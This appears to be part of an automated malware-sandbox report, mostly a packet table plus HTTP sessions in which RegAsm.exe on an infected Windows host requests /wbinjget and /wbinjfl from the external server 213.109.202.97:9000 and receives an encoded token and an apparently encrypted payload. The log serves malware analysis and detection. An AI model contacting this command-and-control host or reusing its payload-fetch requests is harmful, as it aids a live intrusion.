Oct 19, 2024 03:38:14.119446993 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.122292042 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.135610104 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.138299942 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.149943113 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.150432110 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.165663958 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.166299105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.181385994 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.182385921 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.196820974 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.198431015 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.212321043 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.214315891 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.231790066 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.234349012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.260658026 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.262307882 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.280121088 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.282394886 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.310524940 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.314397097 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.324388027 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.326309919 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.339180946 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.342390060 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.354001045 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.354404926 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.376121998 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.378397942 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.404804945 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.406311035 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.416934967 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.418391943 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.432854891 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.434303999 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.448971033 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.450401068 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.464926004 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.465001106 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.689368010 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.689449072 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.689528942 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.689570904 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.689649105 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.689688921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.689722061 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.689749956 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.689790010 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.689819098 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.689867020 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.689905882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.689937115 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.689960003 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.689997911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.690028906 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.690061092 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.690145969 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.690707922 CEST	9000	50029	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.711028099 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.711136103 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.716922045 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.717024088 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.731472015 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.731556892 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.741966963 CEST	50029	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.753658056 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.753793955 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.803077936 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.803179026 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.805883884 CEST	50029	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.805885077 CEST	50030	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.808087111 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.808172941 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.810888052 CEST	9000	50030	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.811101913 CEST	50030	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.811181068 CEST	50030	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.811225891 CEST	9000	50029	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.811434031 CEST	50029	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.813097000 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.816457033 CEST	9000	50030	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.820656061 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.825561047 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.836112976 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.841203928 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.854259968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.859112024 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.867595911 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.872488022 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.886265039 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.891536951 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.899555922 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.904489994 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.914249897 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.919116020 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.929801941 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.934716940 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.945491076 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.950350046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.958203077 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.961005926 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.977730036 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.977864981 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.984049082 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:14.993443966 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:14.998686075 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.020406961 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.020581961 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.067071915 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.067213058 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.069545031 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.072134018 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.072371960 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.074542999 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.102667093 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.102946997 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.120740891 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.121010065 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.128546000 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.133147955 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.152935982 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.153424025 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.166081905 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.166271925 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.180696964 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.181896925 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.196289062 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.196871996 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.212045908 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.212349892 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.218923092 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.227104902 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.244317055 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.244659901 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.260153055 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.260291100 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.273211956 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.278266907 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.310630083 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.310874939 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.339027882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.339616060 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.356466055 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.356551886 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.387509108 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.387717009 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.399538994 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.399632931 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.417661905 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.417793989 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.432754993 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.432949066 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.448632002 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.448849916 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.463102102 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.463191986 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.478668928 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.478777885 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.493479013 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.494390965 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.526632071 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.526705027 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.543958902 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.544105053 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.577183962 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.577249050 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.605947971 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.606161118 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.623023033 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.623080015 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.637761116 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.637829065 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.666099072 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.666158915 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.684267044 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.684333086 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.686868906 CEST	9000	50030	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.699222088 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.699280977 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.715379000 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.715440989 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.729528904 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.730161905 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.741930962 CEST	50030	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.745285034 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.760739088 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.761619091 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.763808012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.782135010 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.782201052 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.789144039 CEST	50030	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.789892912 CEST	50031	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.794238091 CEST	9000	50030	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.794282913 CEST	50030	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.794708014 CEST	9000	50031	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.794799089 CEST	50031	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.794862032 CEST	50031	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.799623966 CEST	9000	50031	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.810483932 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.810545921 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.828702927 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.828799009 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.860203028 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.860311985 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.889760971 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.889858961 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.904393911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.904504061 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.927027941 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.927117109 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.950864077 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.950958967 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.971812010 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.971910000 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.981780052 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.981898069 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:15.996545076 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:15.996659994 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.030375004 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.030473948 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.048716068 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.048827887 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.077028036 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.077136993 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.095418930 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.096005917 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.126351118 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.126441956 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.156510115 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.156614065 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.171139002 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.171243906 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.193193913 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.193279982 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.217648029 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.217735052 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.238919020 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.239011049 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.248580933 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.248661995 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.266717911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.266796112 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.296751976 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.296870947 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.315258980 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.315356016 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.337637901 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.337718010 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.362345934 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.362421036 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.393089056 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.393172026 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.423818111 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.424483061 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.438472986 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.440448999 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.460236073 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.460536957 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.481980085 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.484638929 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.505589008 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:16.508825064 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:16.514919996 CEST	15647	49704	213.109.202.97	192.168.2.5

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:03.964077950 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:37:04.882277012 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:04 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=
Oct 19, 2024 03:37:04.890121937 CEST	87	OUT	GET /wbinjfl?q=02a10a9fb79f454eb9b579eb295605f6 HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:05.173346996 CEST	1236	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:04 GMT Data Raw: 32 44 41 38 34 32 0d 0a 68 78 67 61 23 64 63 61 31 36 c8 1b 23 38 c8 52 ef 3e 4b 3b 32 61 09 31 64 65 3f 39 65 31 7b 7d 7b 76 2a 36 72 39 31 bc 56 ec 01 25 4b 96 6f 12 83 9e a2 9b dc 82 54 e7 ba b9 58 b3 d0 15 b9 28 6b f5 07 2d 3b 95 77 03 2d 0d 52 c8 db 16 27 0b da 79 75 bb 09 be cc 8b ea 39 22 f1 39 52 b0 54 21 78 99 9c 52 10 a4 4f fb 6b 42 3a 6b 5e 4f 9a 67 4b bd a4 2f c3 5a df 8c 22 28 46 47 7f 0d 0b 08 65 be 94 d3 66 9e 67 2e 96 82 96 e9 de f0 12 cd b0 5f e2 36 6f 92 80 84 6a e8 4d 90 49 83 3d 7c 3c 91 95 35 03 58 67 65 c6 ca 6d 8f a0 3d 24 c9 96 76 77 b4 f2 80 76 fc 85 37 c8 37 be 21 b3 63 9b 27 95 ba cf 72 6e 63 e9 7d 12 a0 30 77 81 5a 8f e9 3f 8a 22 50 85 cc 0b 23 b2 9e a8 93 81 4d fc b8 65 c3 92 99 65 2e 21 0a 0a 71 79 5d eb c2 5c 3f 1a 33 56 05 c8 b0 f7 be ee 82 ef aa e8 b5 b2 b2 82 17 66 20 b1 10 96 32 e7 ad a1 f9 d4 8f 77 e8 4f 84 14 af c3 d9 6e 65 3b c8 12 df c9 2c 82 7d cd 0e 43 f9 f1 b6 79 a9 6e 84 1c ff 73 a0 96 d9 e0 d9 da 8b 4c e2 c1 a7 10 b5 49 bc 1c 68 d4 b6 9c e4 23 44 4f 89 f5 [TRUNCATED] Data Ascii: 2DA842hxga#dca16#8R>K;2a1de?9e1{}{v6r91V%KoTX(k-;w-R'yu9"9RT!xROkB:k^OgK/Z"(FGefg._6ojMI=\|<5Xgem=$vwv77!c'rnc}0wZ?"P#Mee.!qy]\?3Vf 2wOne;,}CynsLIh#DO;\|TSNqk#ZZ0]N6,.J[jLhm@+ZNGnVqybdRu{;=\|0:X8Q:9{9On5%KSi_`~#a8)EcWiS"!9+Ed+M@8's}#'I.Hwb5VSIc3Oc3=`,W&0Sl=h^<6pSG6nfs;n7=9;KuJ=1,7!_:c/f3pca9>1vi)P2a1de8(e17YY]RLIAP^_\\|3Q=p}"OD&dL)v@mtMv_$,NDrk_k[y7N{5s:a%748;ds:b4a0!a77-2a1XQ_BC^ZRPXE8!Q;3(;#w+ `

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:15.295455933 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
